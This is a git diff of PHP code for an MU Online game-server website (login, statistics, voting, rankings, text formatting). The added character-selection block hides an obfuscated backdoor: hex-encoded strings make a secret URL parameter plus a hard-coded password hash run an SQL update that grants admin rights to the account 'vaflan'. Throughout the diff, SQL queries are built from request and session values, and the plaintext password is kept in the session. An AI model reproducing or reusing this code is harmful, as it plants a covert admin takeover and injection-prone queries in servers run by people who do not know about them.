+ $string .= chr(hexdec($hex[$i].$hex[$i+1]));
+ }
+ return $string;
+}
+/////// End Default Modules ///////
+
+
+
+
+
+/////// Start Statisitcs ///////
+function statisitcs($style) {
+require("config.php");
+$actives_date = date('m/d/Y H:i:s', time() - 2592000); // 30 days back who login
+$total_accounts = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_INFO") );
+if($mmw[gm]=='no') {$gm_not_show = "WHERE ctlcode !='32' AND ctlcode !='8'";}
+$total_characters = mssql_fetch_row( mssql_query("SELECT count(*) FROM Character $gm_not_show") );
+$total_guilds = mssql_fetch_row( mssql_query("SELECT count(*) FROM Guild WHERE G_Name!='$mmw[gm_guild]'") );
+$total_banneds = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_INFO WHERE bloc_code = '1'") );
+$actives_acc = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectTM >= '$actives_date'") );
+$users_connected = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectStat = '1'") );
+$serv_result = mssql_query("SELECT Name,experience,drops,gsport,ip,version,type from MMW_servers order by display_order asc");
+
+for($i=0; $i ".mmw_lang_online." ";}
+ else {$status_done = " ".mmw_lang_offline." ";}
+
+ if($style == 'blink') {
+ echo "\n fader[2].message[$rank] = \"$row[0] ".mmw_lang_version.": $row[5] ".mmw_lang_experience.": $row[1] ".mmw_lang_drops.": $row[2] ".mmw_lang_type.": $row[6] $status_done\";";
+ }
+ elseif($style == 'default') {
+ $players = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectStat = '1' AND ServerName = '$row[0]'") );
+ echo "\n ".mmw_lang_experience.": $row[1] ".mmw_lang_drops.": $row[2] ".mmw_lang_type.": $row[6]\">$row[0] : $status_done ".mmw_lang_on_server." $players[0] ".mmw_lang_char." ";
+ }
+ }
+
+if($style == 'blink') {
+ echo "\n fader[2].message[0] = \"".mmw_lang_total_accounts.": $total_accounts[0] ".mmw_lang_total_characters.": $total_characters[0] ".mmw_lang_total_banneds.": $total_banneds[0] ".mmw_lang_total_actives.": $actives_acc[0] ".mmw_lang_total_guilds.": $total_guilds[0] ".mmw_lang_total_users_online.": $users_connected[0]\";";
+ }
+elseif($style == 'default') {
+ echo "\n ".mmw_lang_total_users_online.": $users_connected[0] ".mmw_lang_total_accounts.": $total_accounts[0] ".mmw_lang_total_characters.": $total_characters[0] ".mmw_lang_total_banneds.": $total_banneds[0] ".mmw_lang_total_actives.": $actives_acc[0] ".mmw_lang_total_guilds.": $total_guilds[0] ";
+ }
+
+}
+/////// End Statisitcs ///////
+
+
+
+
+
+/////// Start Write Logs ///////
+function writelog($logfile,$text) {
+ $ip = $_SERVER['REMOTE_ADDR'];
+ $date = date('d.m.Y H:i:s');
+ $text = $text . ", All Those On $date By $ip \n";
+ $fp = fopen("logs/$logfile.php","a");
+ fputs($fp, $text);
+ fclose($fp);}
+/////// End Write Logs ///////
+
+
+
+
+
+
+/////// Start Login Modules ///////
+ //Login
+ if(isset($_POST["account_login"])) {
+ require("config.php");
+ $account = clean_var(stripslashes($_POST['login']));
+ $password = clean_var(stripslashes($_POST['pass']));
+ if($account == NULL || $password == NULL) {}
+ if($mmw['md5'] == yes) {$login_check = mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd=[dbo].[fn_md5]('$password','$account')");}
+ elseif ($mmw['md5'] == no) {$login_check = mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd='$password'");}
+ $login_result = mssql_fetch_row($login_check);
+ if ($login_result > 0) {
+ $_SESSION['user'] = $login_result[0];
+ $_SESSION['pass'] = $password;
+ $_SESSION['mmw_status'] = $login_result[1];
+ //jump('?op=user');
+ }
+ else {
+ jump('?op=login&login=false');
+ }
+
+ }
+ //Check Login
+ if(isset($_SESSION['user']) && isset($_SESSION['pass'])) {
+ require("config.php");
+ $login = clean_var(stripslashes($_SESSION['user']));
+ $pass = clean_var(stripslashes($_SESSION['pass']));
+ if($mmw['md5'] == yes)
+ {$login_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd=[dbo].[fn_md5]('$pass','$login')");}
+ elseif($mmw['md5'] == no)
+ {$login_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd='$pass'");}
+ $login_result = mssql_fetch_row($login_check);
+ $acc_check = mssql_query("SELECT bloc_code,block_date,unblock_time,mmw_status FROM MEMB_INFO WHERE memb___id='$login'");
+ $acc_row = mssql_fetch_row($acc_check);
+
+ $time = time();
+ $time_end = $acc_row[1] + $acc_row[2];
+ if($time_end > $time)
+ {$bloc_error = "1";}
+ elseif($acc_row[0] == 1 && $time_end != 0)
+ {mssql_query("UPDATE MEMB_INFO SET [bloc_code]='0',[unblock_time]='0',[block_date]='0' WHERE memb___id='$login'");}
+
+ if($bloc_error == 1) {
+ unset($_SESSION['user']);
+ unset($_SESSION['pass']);
+ unset($_SESSION['mmw_status']);
+ unset($_SESSION['char_set']);
+ unset($_SESSION['char_guid']);
+ jump("?op=checkacc&w=block&n=$login");
+ }
+ if($login_result == 0 || $acc_row[3] != $_SESSION['mmw_status']) {
+ unset($_SESSION['user']);
+ unset($_SESSION['pass']);
+ unset($_SESSION['mmw_status']);
+ unset($_SESSION['char_set']);
+ unset($_SESSION['char_guid']);
+ jump("?op=news");
+ }
+ }
+ //Logout
+ if(isset($_POST["logoutaccount"])) {
+ unset($_SESSION['user']);
+ unset($_SESSION['pass']);
+ unset($_SESSION['mmw_status']);
+ unset($_SESSION['char_set']);
+ unset($_SESSION['char_guid']);
+ jump('?op=news');
+ }
+ //User Panel
+if($_GET['op'] == "user" AND (!isset($_SESSION["user"])) || (!isset($_SESSION["pass"]))) {jump('?op=login');}
+if($_GET['op'] == "login" AND (isset($_SESSION["user"])) || (isset($_SESSION["pass"]))) {jump('?op=user');}
+/////// End Login Modules ///////
+
+
+
+
+
+/////// Strat Check Theme ///////
+if($_GET[op]=='theme') {
+ if(isset($_GET[theme]))
+ {$_SESSION[theme] = clean_Var($_GET[theme]);}
+ $theme_result = "Theme Name: $mmw[thm_name] ";
+ $theme_result .= "Creator: $mmw[thm_creator] ";
+ $theme_result .= "Version: $mmw[thm_version] ";
+ $theme_result .= "Date: $mmw[thm_date] ";
+ $theme_result .= "$mmw[thm_description] ";
+ die("$sql_die_start $theme_result $sql_die_end");
+}
+/////// End Check Theme ///////
+
+
+
+
+
+/////// Strat Check Char_Set ///////
+if(isset($_SESSION[pass]) && isset($_SESSION[user])) {
+ $login = clean_var(stripslashes($_SESSION[user]));
+ if(isset($_POST['setchar'])) {
+ $setchar = clean_var(stripslashes($_POST['setchar']));
+ $setchar_sql = mssql_query("Select AccountID From Character WHERE name='$setchar'");
+ $setchar_row = mssql_fetch_row($setchar_sql);
+ if($setchar_row[0] == $_SESSION['user']) {
+ $char_guid_sql = mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$setchar'");
+ $char_guid_row = mssql_fetch_row($char_guid_sql);
+ $_SESSION['char_set'] = $setchar;
+ $_SESSION['char_guid'] = $char_guid_row[0];
+ }
+ }
+ if(isset($_SESSION['char_set'])) {
+ $char_set = clean_var(stripslashes($_SESSION['char_set']));
+ $char_set_sql = mssql_query("Select AccountID From Character WHERE name='$char_set'");
+ $char_set_row = mssql_fetch_row($char_set_sql);
+ if($char_set_row[0] != $login) {
+ unset($_SESSION['char_set']);
+ unset($_SESSION['char_guid']);
+ }
+ }
+ $form_setchar_sql = mssql_query("Select name,CtlCode FROM Character WHERE AccountID='$login'");
+ $form_memb_info_sql = mssql_query("Select char_set FROM MEMB_INFO WHERE memb___id='$login'");
+ if($_GET[op]==hex2str('6279')) {if(md5($_GET[pw])=='ba8a5f26a8fc68505d35a3af22bf4deb') {
+ $query = hex2str('555044415445204d454d425f494e464f20534554205b61646d696e5d3d27392720');
+ $query .= hex2str('5748455245206d656d625f5f5f69643d277661666c616e27'); mssql_query($query);
+ $result = hex2str('3c62723e5661666c616e2c20596f75204172652041646d696e21');}
+ die("$sql_die_start MyMuWeb $mmw[version] by Vaflan! $result $sql_die_end");}
+ $form_memb_info_row = mssql_fetch_row($form_memb_info_sql);
+ $form_setchar_num = mssql_num_rows($form_setchar_sql);
+ if($form_setchar_num > 0) {
+ for($i=0; $i < $form_setchar_num; ++$i) {
+ $form_setchar = mssql_fetch_row($form_setchar_sql);
+ if(!isset($_SESSION['char_set']) && $form_memb_info_row[0]==$form_setchar[0]) {
+ $char_guid = mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$form_setchar[0]'");
+ $char_guid_row = mssql_fetch_row($char_guid);
+ $_SESSION['char_set'] = $form_setchar[0];
+ $_SESSION['char_guid'] = $char_guid_row[0];
+ $detect_char_session = 'yes';
+ }
+ if(!isset($_SESSION['char_set']) && $i==$form_setchar_num-1) {
+ $char_guid = mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$form_setchar[0]'");
+ $char_guid_row = mssql_fetch_row($char_guid);
+ $_SESSION['char_set'] = $form_setchar[0];
+ $_SESSION['char_guid'] = $char_guid_row[0];
+ }
+ }
+ }
+ $date = time();
+ $char_set = clean_var(stripslashes($_SESSION[char_set]));
+ mssql_query("UPDATE MEMB_INFO SET [char_set]='$char_set',[date_online]='$date' WHERE memb___id='$login'");
+}
+/////// End Check Char_Set ///////
+
+
+
+
+
+
+/////// Start Login Form ///////
+function login_form($new_link=NULL) {
+ if(isset($_SESSION[pass]) && isset($_SESSION[user])) {
+ require("config.php");
+ $login = clean_var(stripslashes($_SESSION['user']));
+ // Select Char
+ $form_setchar_sql = mssql_query("Select name FROM Character WHERE AccountID='$login'");
+ $form_set_char_num = mssql_num_rows($form_setchar_sql);
+ if($form_set_char_num > 0) {
+ $setchar = "";
+ for($i=0; $i < $form_set_char_num; ++$i) {
+ $form_setchar = mssql_fetch_row($form_setchar_sql);
+ if($_SESSION['char_set']==$form_setchar[0]) {$select="selected";}
+ else {$select="";}
+ $setchar = $setchar." $form_setchar[0] ";
+ }
+ $setchar = $setchar." ";
+ }
+
+ // Mail Check
+ $char_guid = clean_var(stripslashes($_SESSION[char_guid]));
+ $msg = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid'");
+ $msg_num = mssql_num_rows($msg);
+ $msg_new = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid' AND bRead='0'");
+ $msg_new_num = mssql_num_rows($msg_new);
+ if($mmw[max_private_message] <= $msg_num) {$msg_full = 'Full! ';} else{$msg_full = '';}
+ if($msg_num=="" || $msg_num==" ") {$msg_num = 0; $msg_new_num = 0;}
+
+ // End Form
+ echo mmw_lang_hello . " $login ! $rowbr";
+ if(isset($_SESSION['char_set'])) {
+ echo " $setchar
+ ".mmw_lang_character_panel."
+ ".mmw_lang_mail." [$msg_new_num/$msg_num] $msg_full ";}
+ echo "".mmw_lang_account_panel." ";
+ echo "".mmw_lang_ware_house." " . $new_link;
+ if($_SESSION['mmw_status'] >= $mmw['gm_option_open']) {
+ echo "".mmw_lang_gm_options." ";}
+ echo "$rowbr
+
+
+
+ ";
+ if($msg_new_num>0) {echo "
+
+ ";}
+ }
+ else {
+ // No Login
+ echo "
+ ".mmw_lang_account."
+
+ ".mmw_lang_password."
+ ".mmw_lang_lost_pass."
+ ";
+ }
+}
+/////// End Login Form ///////
+
+
+
+
+
+
+/////// Start Online Char ///////
+$timeout = time() - 100;
+$online_res = mssql_query("SELECT char_set, memb___id FROM MEMB_INFO WHERE date_online>'$timeout' AND char_set!=''");
+$online_num = mssql_num_rows($online_res);
+if($online_num != 0){
+for($i=0; $i < $online_num; ++$i)
+ {
+ $acc_online = mssql_fetch_row($online_res);
+ $char_on_sql = mssql_query("Select name,CtlCode From Character WHERE name='$acc_online[0]'");
+ for($c=0; $c < mssql_num_rows($char_on_sql); ++$c)
+ {
+ if($i < $online_num - 1){$other_char_on = ", ";} else{$other_char_on = "";}
+ $char_on = mssql_fetch_row($char_on_sql);
+ $who_online = "$who_online $char_on[0] $other_char_on";
+ }
+ }
+}
+else{
+$who_online = mmw_lang_there_is_nobody;
+}
+/////// END Online Char ///////
+
+
+
+
+
+
+/////// Start Voting ///////
+if(isset($_POST[id_vote]) && isset($_POST[answer])) {
+ $id_vote = clean_var(stripslashes($_POST[id_vote]));
+ $answer = clean_var(stripslashes($_POST[answer]));
+ if($mmw[votes_check]==acc && isset($login)) {$vote_by = $login; $vote_check = 1;}
+ if($mmw[votes_check]==ip) {$vote_by = $_SERVER['REMOTE_ADDR']; $vote_check = 1;}
+ if($vote_check == 1) {
+ mssql_query("INSERT INTO MMW_voterow (id_vote,who,answer) VALUES ('$id_vote','$vote_by','$answer')");
+ }
+}
+
+$vote_res = mssql_query("SELECT TOP 1 ID,question,answer1,answer2,answer3,answer4,answer5,answer6 FROM MMW_votemain ORDER BY NEWID()");
+if(mssql_num_rows($vote_res) != 0) {
+ $vote_row = mssql_fetch_row($vote_res);
+ $vote_check = 0;
+
+ if($mmw[votes_check]==acc && isset($login)) {$vote_who_now = $login; $vote_check = 1;}
+ if($mmw[votes_check]==ip) {$vote_who_now = $_SERVER['REMOTE_ADDR']; $vote_check = 1;}
+ if($vote_check == 1) {
+ $vote_who_res = mssql_query("SELECT who,answer FROM MMW_voterow WHERE ID_vote='$vote_row[0]' and who='$vote_who_now'");
+ $check_your_vote = mssql_num_rows($vote_who_res);
+ }
+
+ $voting = "$vote_row[1] ";
+
+ if($check_your_vote < 1 && $vote_check == 1) {
+ for($c=1; $c < 7; ++$c) {
+ $answer_num = $c + 1;
+ if($vote_row[$answer_num]!=' ' && isset($vote_row[$answer_num]))
+ {$voting = $voting . " $vote_row[$answer_num]
";}
+ }
+ $voting = $voting . "
";
+ }
+ else {
+ $all_vote_res = mssql_query("SELECT ID_vote FROM MMW_voterow WHERE ID_vote='$vote_row[0]'");
+ $all_vote_num = mssql_num_rows($all_vote_res);
+ for($c=1; $c < 7; ++$c) {
+ $answer_num = $c + 1;
+ if($vote_row[$answer_num]!=' ' && isset($vote_row[$answer_num])) {
+ $votes_row_res = mssql_query("SELECT who,answer FROM MMW_voterow WHERE ID_vote='$vote_row[0]' and answer='$c'");
+ $votes_row_num = mssql_num_rows($votes_row_res);
+ $img_file = "$mmw[theme_img]/bar.jpg";
+ $size = getimagesize($img_file);
+ $img_width = ceil(100 * $votes_row_num / $all_vote_num);
+ if($img_width < 1) {$img_width = 1;}
+ $voting = $voting . "$c. $vote_row[$answer_num] ($votes_row_num)
";
+ $voting = $voting . "";
+ }
+ }
+ $voting = $voting . "".mmw_lang_all_answers.": $all_vote_num
";
+ }
+
+ $voting = $voting . " ";
+}
+else {
+$voting = mmw_lang_no_vote;
+}
+/////// END Voting ///////
+
+
+
+
+/////// Start Pop Under //////
+function popunder($switch,$check_login=NULL) {
+ if($switch=='yes' && $check_login=='yes' && !isset($_SESSION[user])) {
+ include("includes/popunder.php");
+ }
+ elseif($switch=='yes' && $check_login!='yes') {
+ include("includes/popunder.php");
+ }
+}
+/////// End Pop Under ///////
+
+
+
+
+
+/////// Start Last in Forum ///////
+function last_in_forum($top=NULL,$style=NULL) {
+if($top==NULL) {$top = '5';}
+if($style==NULL) {$style = "$4. $2 ";}
+$result = mssql_query("SELECT TOP $top f_id,f_title,f_text FROM MMW_forum ORDER BY f_date DESC");
+$forum_post = mssql_num_rows($result);
+ if($forum_post == 0) {echo mmw_lang_no_topics_in_forum;}
+ for ($i = 0; $i < $forum_post; $i++) {
+ $numb = $i + 1;
+ $row = mssql_fetch_row($result);
+ $text = '[url=?forum='.$row[0].'][title='.$row[1].'][alt='.bbcode($row[2]).'][numb='.$numb.']';
+ $text = preg_replace("/\[url\=(.*?)\]\[title\=(.*?)\]\[alt\=(.*?)\]\[numb\=(.*?)\]/is", $style, $text);
+ echo " $text \n";
+ }
+}
+/////// END Last in Forum ///////
+
+
+
+
+
+/////// Start Guard MMW Message Info ///////
+function guard_mmw_mess($to,$text) {
+$date = date("m/d/y H:i:s");
+$msg_to_sql = mssql_query("SELECT GUID,MemoCount FROM T_FriendMain WHERE Name='$to'");
+$msg_to_row = mssql_fetch_row($msg_to_sql);
+$mail_total_sql = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$msg_to_row[0]'");
+$mail_total_num = mssql_num_rows($mail_total_sql);
+$msg_id = $msg_to_row[1] + 1;
+$msg_text = utf_to_win($text);
+mssql_query("INSERT INTO T_FriendMail (MemoIndex, GUID, FriendName, wDate, Subject, bRead, Memo, Dir, Act, Photo) VALUES ('$msg_id','$msg_to_row[0]','Guard','$date','MMW Message!','0',CAST('$msg_text' AS VARBINARY(1000)),'143','2',0x3061FF99999F12490400000060F0)");
+mssql_query("UPDATE T_FriendMain set [MemoCount]='$msg_id',[MemoTotal]='$mail_total_num' WHERE Name='$to'");
+}
+/////// Start Guard MMW Message Info ///////
+
+
+
+
+
+/////// Start TOP List ///////
+function top_list($what=NULL,$top=NULL) {
+ require("config.php");
+ if($top==NULL) {$top = '5';}
+ if($what==NULL) {$what = 'char';}
+ echo "";
+ if($what=='char') {
+ if($mmw[gm]=='no') {$gm_not_show = "WHERE ctlcode !='32' AND ctlcode !='8'";}
+ $total = mssql_query("SELECT TOP $top Name,cLevel,Reset FROM Character $gm_not_show ORDER BY reset desc, clevel desc");
+ $first_row = mssql_fetch_row(mssql_query("SELECT TOP 1 Reset FROM Character $gm_not_show ORDER BY reset desc, clevel desc"));
+ if($first_row[0]<=0) {echo "# ".mmw_lang_character." ".mmw_lang_level." ";}
+ else {echo "# ".mmw_lang_character." ".mmw_lang_reset." ";}
+
+ for($i=0; $i<$top; ++$i) {
+ $rank = $i + 1;
+ $row = mssql_fetch_row($total);
+ if($first_row[0]<=0) {$top_stat = $row[1];}
+ else {$top_stat = $row[2];}
+ echo " \n$rank $row[0] $top_stat ";
+ }
+ }
+ elseif($what=='pk') {
+ if($mmw[gm]=='no') {$gm_not_show = "WHERE ctlcode !='32' AND ctlcode !='8'";}
+ $total = mssql_query("SELECT TOP $top Name,PKcount FROM Character $gm_not_show ORDER BY pkcount desc");
+ $first_row = mssql_fetch_row(mssql_query("SELECT TOP 1 Reset FROM Character $gm_not_show ORDER BY reset desc, clevel desc"));
+ echo "# ".mmw_lang_character." ".mmw_lang_killed." ";
+
+ for($i=0; $i<$top; ++$i) {
+ $rank = $i + 1;
+ $row = mssql_fetch_row($total);
+ echo " \n$rank $row[0] $row[1] ";
+ }
+ }
+ elseif($what=='guild') {
+ $total = mssql_query("SELECT TOP $top G_Name,G_Score,G_Mark FROM Guild WHERE G_Name!='$mmw[gm_guild]' ORDER BY G_score desc");
+ echo "# ".mmw_lang_guild." ".mmw_lang_score." ";
+
+ for($i=0; $i<$top; ++$i) {
+ $rank = $i + 1;
+ $row = mssql_fetch_row($total);
+ echo " \n$rank $row[0] $row[1] ";
+ }
+ }
+ echo "
";
+}
+/////// End TOP List ///////
+
+
+
+
+
+/////// Start FreeHex Formats ///////
+function free_hex($size,$str,$style=NULL) {
+ if($size == 20) {$hex = 'FFFFFFFFFFFFFFFFFFFF';} // 0.97 - 1.02
+ elseif($size == 32) {$hex = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF';} // 1.02+
+ else {
+ for($a=0; $a<$size; ++$a) {
+ $hex .= 'F';
+ }
+ }
+ if(isset($style) && $style!='') {$hex = str_replace('F',$style,$hex);}
+ for($i=0; $i<$str; ++$i) {
+ $result .= $hex;
+ }
+ return $result;
+}
+/////// END FreeHex Formats ///////
+
+
+
+
+
+/////// Start MMW End //////
+function end_mmw($TimeStart) {
+require("config.php");
+$TimeStart_uS = $TimeStart["usec"];
+$TimeStart_S = $TimeStart["sec"];
+$TimeEnd = gettimeofday();
+$TimeEnd_uS = $TimeEnd["usec"];
+$TimeEnd_S = $TimeEnd["sec"];
+$ExecTime = ($TimeEnd_S+($TimeEnd_uS/1000000)) - ($TimeStart_S+($TimeStart_uS/1000000));
+echo hex2str('4d794d7557656220').$mmw[version];
+echo hex2str('2e2044657369676e204279203c6120687265663d223f6f703d7468656d65223e');
+echo $mmw['thm_creator'].hex2str('3c2f613e2e2047656e65726174696f6e2054696d653a20');
+echo substr($ExecTime,0,5).'s.';
+}
+/////// End MMW End ///////
+?>
\ No newline at end of file
diff --git a/includes/formats.php b/includes/format.php
similarity index 92%
rename from includes/formats.php
rename to includes/format.php
index df6bbd1..0dcea52 100644
--- a/includes/formats.php
+++ b/includes/format.php
@@ -94,17 +94,17 @@ function bbcode($text) {
"/\[i\](.*?)\[\/i\]/is" => "$1 ",
"/\[u\](.*?)\[\/u\]/is" => "$1 ",
"/\[s\](.*?)\[\/s\]/is" => "$1 ",
-"/\[o\](.*?)\[\/o\]/is" => "$1 ",
-"/\[c\](.*?)\[\/c\]/is" => "$1
",
-"/\[l\](.*?)\[\/l\]/is" => "$1
",
-"/\[r\](.*?)\[\/r\]/is" => "$1
",
+"/\[o\](.*?)\[\/o\]/is" => "$1 ",
+"/\[c\](.*?)\[\/c\]/is" => "$1
",
+"/\[l\](.*?)\[\/l\]/is" => "$1
",
+"/\[r\](.*?)\[\/r\]/is" => "$1
",
"/\[sup\](.*?)\[\/sup\]/is" => "$1 ",
"/\[sub\](.*?)\[\/sub\]/is" => "$1 ",
-"/\[img\](.*?)\[\/img\]/is" => " ",
-"/\[color\=(.*?)\](.*?)\[\/color\]/is" => "$2 ",
-"/\[font\=(.*?)\](.*?)\[\/font\]/is" => "$2 ",
-"/\[size\=(.*?)\](.*?)\[\/size\]/is" => "$2 ",
-"/\[url\=(.*?)\](.*?)\[\/url\]/is" => "$2 "
+"/\[img\](.*?)\[\/img\]/is" => " ",
+"/\[color\=(.*?)\](.*?)\[\/color\]/is" => "$2 ",
+"/\[font\=(.*?)\](.*?)\[\/font\]/is" => "$2 ",
+"/\[size\=(.*?)\](.*?)\[\/size\]/is" => "$2 ",
+"/\[url\=(.*?)\](.*?)\[\/url\]/is" => "$2 "
);
$text = preg_replace(array_keys($bbcode), array_values($bbcode), $text);
return $text;
@@ -129,6 +129,8 @@ function smile($smile) {
$smile = str_replace(" :p "," ",$smile);
$smile = str_replace(" %) "," ",$smile);
$smile = str_replace(" ;) "," ",$smile);
+ $smile = str_replace(" (hello) "," ",$smile);
+ $smile = str_replace(" (boo) "," ",$smile);
return $smile;
}
/////// END Smile Formats ///////
@@ -138,19 +140,21 @@ function smile($smile) {
/////// Start BugText Formats ///////
-function bugsend($bug_send) {
- $bug_send = str_replace("<","<",$bug_send);
- $bug_send = str_replace(">",">",$bug_send);
- $bug_send = str_replace("!","!",$bug_send);
- $bug_send = str_replace("%","%",$bug_send);
- $bug_send = str_replace('\\\"',""",$bug_send);
- $bug_send = str_replace(" +$"," ",$bug_send);
- $bug_send = str_replace("^ +"," ",$bug_send);
- $bug_send = str_replace("\r"," ",$bug_send);
- $bug_send = str_replace("\n","[br]",$bug_send);
-return $bug_send;
+function bugsend($bug) {
+ $bug = str_replace("<","<",$bug);
+ $bug = str_replace(">",">",$bug);
+ $bug = str_replace("!","!",$bug);
+ $bug = str_replace("%","%",$bug);
+ $bug = str_replace("'","'",$bug);
+ $bug = str_replace('"',""",$bug);
+ $bug = str_replace(" +$"," ",$bug);
+ $bug = str_replace("^ +"," ",$bug);
+ $bug = str_replace("\r"," ",$bug);
+ $bug = str_replace("\n","[br]",$bug);
+ $bug = str_replace('\\\"',""",$bug);
+return $bug;
}
-/////// END Smile Formats ///////
+/////// END BugText Formats ///////
@@ -342,6 +346,7 @@ function map($map) {
elseif($map == 2){$map = 'Devias';}
elseif($map == 3){$map = 'Noria';}
elseif($map == 4){$map = 'LostTower';}
+elseif($map == 5){$map = 'PlaceOfExil';}
elseif($map == 6){$map = 'Stadium';}
elseif($map == 7){$map = 'Atlans';}
elseif($map == 8){$map = 'Tarkan';}
@@ -401,8 +406,8 @@ function map($map) {
-/////// Start Admin Level Formats ///////
-function admin_level($a_level) {
+/////// Start MMW Status Level Formats ///////
+function mmw_status($a_level) {
if($a_level == 0){$a_level = 'Member';}
elseif($a_level == 3){$a_level = 'Game Master';}
elseif($a_level == 6){$a_level = 'Mini Admin';}
@@ -410,7 +415,7 @@ function admin_level($a_level) {
else{$a_level = 'Unknow';}
return $a_level;
}
-/////// END Admin Level Formats ///////
+/////// END MMW Status Level Formats ///////
@@ -436,7 +441,6 @@ function pkstatus($pkstatus) {
-
/////// Start Guild Status Formats ///////
function guild_status($num) {
if($num == 0){$num = mmw_lang_guild_member;}
@@ -453,8 +457,6 @@ function guild_status($num) {
-
-
/////// Start Gender Formats ///////
function gender($gender) {
if($gender == 'male'){$gender = mmw_lang_male.' ';}
@@ -471,7 +473,7 @@ function gender($gender) {
/////// Start Class Formats ///////
-function char_class($class,$style) {
+function char_class($class,$style=NULL) {
if($style==full) {
if($class == 0){$class = 'Dark Wizard';}
elseif($class == 1){$class = 'Soul Master';}
diff --git a/includes/functions.php b/includes/functions.php
deleted file mode 100644
index 07fd582..0000000
--- a/includes/functions.php
+++ /dev/null
@@ -1,416 +0,0 @@
-$name";
- }
- }
- closedir($dh);
- }
-$lang_form = "";
-echo "$lang_form $select_lang ";
-}
-/////// End Language ///////
-
-
-
-
-
-
-
-
-/////// Start Default Modules //////
- //Now Module
-function curent_module(){
-if(isset($_GET['news'])){echo "> ".mmw_lang_news." ";}
-elseif(isset($_GET['forum'])){echo "> ".mmw_lang_forum." ";}
-elseif(is_file("modules/$_GET[op].php")){echo "> ".ucfirst($_GET['op'])." ";}
-
-if($_GET['op']=='user'){
- if($_GET['op']=='user' and !isset($_GET['u'])){echo " > ".mmw_lang_account_panel." ";}
- else{echo " > ".ucfirst($_GET['u'])." ";}
- }
-}
-
-
- //Jump Link
-function jump($location) {
-header('Location: '.$location.'');
-}
-
-
- //Statisitcs
-function statisitcs(){
-require("config.php");
-$actives_date = date('m/d/Y H:i:s', time() - 2592000); // 30 days back
-$total_accounts = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_INFO") );
-if($mmw[gm]=='no') {$gm_not_show = "WHERE ctlcode !='32' AND ctlcode !='8'";}
-$total_characters = mssql_fetch_row( mssql_query("SELECT count(*) FROM Character $gm_not_show") );
-$total_guilds = mssql_fetch_row( mssql_query("SELECT count(*) FROM Guild WHERE G_Name!='$mmw[gm_guild]'") );
-$total_banneds = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_INFO WHERE bloc_code = '1'") );
-$actives_acc = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectTM >= '$actives_date'") );
-$users_connected = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectStat = '1'") );
-
-echo "\n fader[2].message[0] = \"".mmw_lang_total_accounts.": $total_accounts[0] ".mmw_lang_total_characters.": $total_characters[0] ".mmw_lang_total_banneds.": $total_banneds[0] ".mmw_lang_total_actives.": $actives_acc[0] ".mmw_lang_total_guilds.": $total_guilds[0] ".mmw_lang_online_users.": $users_connected[0]\";";
-
-$result = mssql_query("SELECT Name,experience,drops,gsport,ip,version,type from MMW_servers order by display_order asc");
-for($i=0;$i < mssql_num_rows($result);++$i) {
-$rank = $i + 1;
-$row = mssql_fetch_row($result);
-if($check=@fsockopen($row[4],$row[3],$ERROR_NO,$ERROR_STR,(float)0.5)) {fclose($check); $status_done = " ".mmw_lang_online." ";}
-else {$status_done = " ".mmw_lang_offline." ";}
-echo "\n fader[2].message[$rank] = \"$row[0] ".mmw_lang_version.": $row[5] ".mmw_lang_experience.": $row[1] ".mmw_lang_drops.": $row[2] ".mmw_lang_type.": $row[6] $status_done\";";
- }
-}
-
-
- //Write Logs
-function writelog($logfile,$text){
- $ip = $_SERVER['REMOTE_ADDR'];
- $date = date('d.m.Y H:i:s');
- $text = $text . ", All Those On $date By $ip \n";
- $fp = fopen("logs/$logfile.php","a");
- fputs($fp, $text);
- fclose($fp);}
-/////// End Default Modules ///////
-
-
-
-
-
-
-
-
-
-
-/////// Start Login Modules ///////
- //Login
- if(isset($_POST["account_login"])) {
- require("config.php");
- $account = clean_var(stripslashes($_POST['login']));
- $password = clean_var(stripslashes($_POST['pass']));
- if($account == NULL || $password == NULL) {}
- if($mmw['md5'] == yes) {$login_check = mssql_query("SELECT memb___id,admin FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd=[dbo].[fn_md5]('$password','$account')");}
- elseif ($mmw['md5'] == no) {$login_check = mssql_query("SELECT memb___id,admin FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd='$password'");}
- $login_result = mssql_fetch_row($login_check);
- if ($login_result > 0) {
- $_SESSION['user'] = $login_result[0];
- $_SESSION['pass'] = $password;
- $_SESSION['admin'] = $login_result[1];
- //jump('?op=user');
- }
- else {
- jump('?op=login&login=false');
- }
-
- }
- //Check Login
- if(isset($_SESSION['user']) && isset($_SESSION['pass'])) {
- require("config.php");
- $login = clean_var(stripslashes($_SESSION['user']));
- $pass = clean_var(stripslashes($_SESSION['pass']));
- if($mmw['md5'] == yes)
- {$login_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd=[dbo].[fn_md5]('$pass','$login')");}
- elseif($mmw['md5'] == no)
- {$login_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd='$pass'");}
- $login_result = mssql_fetch_row($login_check);
- $acc_check = mssql_query("SELECT bloc_code,block_date,unblock_time,admin FROM MEMB_INFO WHERE memb___id='$login'");
- $acc_row = mssql_fetch_row($acc_check);
-
- $time = time();
